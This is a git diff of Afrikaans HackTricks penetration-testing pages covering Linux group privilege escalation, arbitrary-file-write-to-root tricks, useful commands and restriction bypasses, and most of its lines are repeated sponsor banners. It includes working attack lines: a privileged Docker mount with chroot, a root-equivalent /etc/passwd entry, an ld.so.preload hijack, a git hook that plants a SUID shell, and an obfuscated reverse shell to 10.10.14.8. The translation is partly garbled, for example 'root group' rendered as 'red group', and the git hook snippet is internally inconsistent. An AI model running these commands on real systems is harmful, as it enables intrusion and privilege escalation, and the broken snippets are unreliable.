Verander dan die Breedte en Hoogte na die een wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys):
Verander dan die Breedte en Hoogte na die wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys):
![](<../../../.gitbook/assets/image (317).png>)
## Root Groep
## Rooigroep
Dit lyk asof standaard **lede van die root groep** toegang kan hê om **sekere dienskonfigurasie-lêers** of sekere **biblioteeklêers** of **ander interessante dinge** te **modifiseer** wat gebruik kan word om voorregte te eskaleer...
Dit lyk asof standaard **lede van die rooigroep** toegang kan hê om **sekere dienskonfigurasie-lêers** of **sekere biblioteeklêers** of **ander interessante dinge** te wysig wat gebruik kan word om voorregte te eskaleer...
**Kyk watter lêers root-lede kan modifiseer**:
**Kyk watter lêers rooigroeplede kan wysig**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Groep
Jy kan die **wortel-lêerstelsel van die gasrekenaar aan 'n instansie se volume koppel**, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief worteltoegang tot die rekenaar.
Jy kan die hooflêersisteem van die gasrekenaar aan 'n instansie se volume **koppel**, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief beheer oor die rekenaar.
```bash
docker image #Get images from the docker service
@ -211,12 +210,12 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
## Adm Groep
### LXC/LXD Groep
Gewoonlik het **lede** van die groep **`adm`** toestemmings om **log** lêers binne _/var/log/_ te **lees**.\
Daarom, as jy 'n gebruiker binne hierdie groep gekompromitteer het, moet jy beslis na die **logs kyk**.
Daarom, as jy 'n gebruiker binne hierdie groep gekompromiteer het, moet jy beslis na die **logs kyk**.
## Auth groep
### Auth groep
Binne OpenBSD kan die **auth** groep gewoonlik skryfregte hê in die _**/etc/skey**_ en _**/var/db/yubikey**_ as hulle gebruik word.\
Hierdie regte kan misbruik word met die volgende uitbuiting om te **privilege te eskaleer** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
Hierdie regte kan misbruik word met die volgende uitbuiting om **privileges te eskaleer** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)

View file

@ -1,22 +1,23 @@
# Willekeurige Lêer Skryf na Root
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### /etc/ld.so.preload
Hierdie lêer gedra soos die **`LD_PRELOAD`** omgewingsveranderlike, maar dit werk ook in **SUID-binêre lêers**.\
Hierdie lêer werk soos **`LD_PRELOAD`** omgewingsveranderlike, maar dit werk ook in **SUID-binêre lêers**.\
As jy dit kan skep of wysig, kan jy net 'n **pad na 'n biblioteek wat gelaai sal word** by elke uitgevoerde binêre lêer, byvoeg.
Byvoorbeeld: `echo "/tmp/pe.so" > /etc/ld.so.preload`
@ -36,15 +37,17 @@ system("/bin/bash");
```
### Git hakke
[**Git hakke**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) is **skripte** wat uitgevoer word by verskeie **gebeure** in 'n git-opgaarplek soos wanneer 'n toewysing geskep word, 'n samevoeging... Dus, as 'n **bevoorregte skrip of gebruiker** gereeld hierdie aksies uitvoer en dit moontlik is om in die `.git`-vouer te **skryf**, kan dit gebruik word vir **privilege-escalation**.
[**Git hakke**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) is **skripte** wat uitgevoer word by verskeie **gebeure** in 'n git-opgaar soos wanneer 'n toewysing geskep word, 'n saamvoeging... Dus, as 'n **bevoorregte skrip of gebruiker** gereeld hierdie aksies uitvoer en dit moontlik is om in die `.git`-vouer te **skryf**, kan dit gebruik word vir **privilege-escalation**.
Byvoorbeeld, dit is moontlik om 'n skrip te **genereer** in 'n git-opgaarplek in **`.git/hooks`** sodat dit altyd uitgevoer word wanneer 'n nuwe toewysing geskep word:
Byvoorbeeld, Dit is moontlik om 'n skrip te **genereer** in 'n git-opgaar in **`.git/hooks`** sodat dit altyd uitgevoer word wanneer 'n nuwe toewysing geskep word:
{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
{% endcode %}
### Cron & Tyd lêers
TODO
@ -57,16 +60,17 @@ TODO
Die lêer wat in `/proc/sys/fs/binfmt_misc` geleë is, dui aan watter binêre lêer watter tipe lêers moet uitvoer. TODO: kontroleer die vereistes om hierdie te misbruik om 'n omgekeerde dop uit te voer wanneer 'n algemene lêertipe oop is.
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -2,23 +2,26 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap. Kry Toegang Vandag:
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Gewone Bash
```bash
@ -142,8 +145,8 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,7 +174,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
### Soek
Greps is 'n kragtige soekhulpmiddel wat gebruik word om te soek deur teks of binêre lêers vir spesifieke patrone. Dit kan gebruik word om inligting te vind binne lêers deur die gebruik van regulêre uitdrukkings of eenvoudige sleutelwoorde. Die `grep`-opdrag kan ook gebruik word saam met pyplyn om die uitset van 'n vorige opdrag te soek.
Greps is 'n kragtige opdraggereëlsoekhulpmiddel wat gebruik kan word om spesifieke patrone binne tekslêers te soek. Dit kan ook gebruik word om tekslêers te filter en te manipuleer.
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -323,24 +326,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,27 +1,29 @@
# Nuttige Linux-opdragte
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Algemene Bash
## Gewone Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -143,8 +145,8 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -172,25 +174,37 @@ i686-mingw32msvc-gcc -o executable useradd.c
### Soek
`grep` is 'n kragtige soekhulpmiddel wat gebruik word om te soek deur teks of binêre lêers vir patrone wat ooreenstem met spesifieke soekkriteria.
Greps is 'n kragtige soekhulpmiddel wat gebruik kan word om spesifieke patrone binne lêers te soek. Dit kan ook gebruik word om te soek deur die uitset van ander opdragte deur pyplyn te gebruik. Hier is 'n paar nuttige voorbeelde van die gebruik van greps:
### Basiese Gebruik
- Soek vir 'n spesifieke woord in 'n lêer:
```bash
grep "woord" lêernaam
```
```bash
grep "patroon" lêernaam
```
- Soek vir 'n woord in alle lêers in 'n gegewe gids:
```bash
grep -r "woord" /pad/na/gids/
```
### Soek in alle lêers in 'n gids
- Soek vir 'n woord in alle lêers in die huidige gids en subgidse:
```bash
grep -r "woord" .
```
```bash
grep -r "patroon" gidsnaam
```
- Soek vir 'n woord en ignoreer hooflettergebruik:
```bash
grep -i "woord" lêernaam
```
### Soek na 'n patroon in alle lêers wat ooreenstem met 'n spesifieke patroon
- Soek vir 'n woord en wys die lynnommers waar dit voorkom:
```bash
grep -n "woord" lêernaam
```
```bash
grep -r "patroon" * .uitbreiding
```
- Soek vir 'n woord en wys die aantal kere wat dit voorkom in elke lêer:
```bash
grep -c "woord" lêernaam
```
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -308,16 +322,25 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
Bash is 'n kragskellingsinterpreter wat algemeen in Linux-stelsels gebruik word. Dit bied 'n kragtige omgewing vir die uitvoering van opdragte en skryf van skrips.
### Nuttige Linux-opdragte
Hier is 'n lys van nuttige Linux-opdragte wat gebruik kan word vir die hardmaak van Linux-stelsels:
1. `sudo apt update` - Werk die lys van beskikbare pakkette op.
2. `sudo apt upgrade` - Opgradeer al die geïnstalleerde pakkette na die nuutste weergawe.
3. `sudo apt dist-upgrade` - Voer 'n volledige opgradering van die stelsel uit.
4. `sudo apt autoremove` - Verwyder outomaties alle ongebruikte pakkette.
5. `sudo apt install [package]` - Installeer 'n spesifieke pakkets.
6. `sudo systemctl status [service]` - Kontroleer die status van 'n diens.
7. `sudo systemctl start [service]` - Begin 'n spesifieke diens.
8. `sudo systemctl stop [service]` - Stop 'n spesifieke diens.
9. `sudo systemctl enable [service]` - Stel 'n diens in om by stelselbegin te hardloop.
10. `sudo systemctl disable [service]` - Voorkom dat 'n diens by stelselbegin hardloop.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
### Inleiding
Iptables is 'n kragtige firewall wat ingebou is in Linux-stelsels. Dit kan gebruik word om netwerkverkeer te bestuur deur reëls te definieer wat bepaal watter tipe verkeer toegelaat of geblokkeer word. Hierdie gids bevat nuttige Iptables-opdragte wat gebruik kan word vir die harding van Linux-stelsels.
```bash
#Delete curent rules and chains
iptables --flush
@ -348,24 +371,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,24 +1,25 @@
# Bypass Linux Beperkings
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -38,7 +39,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
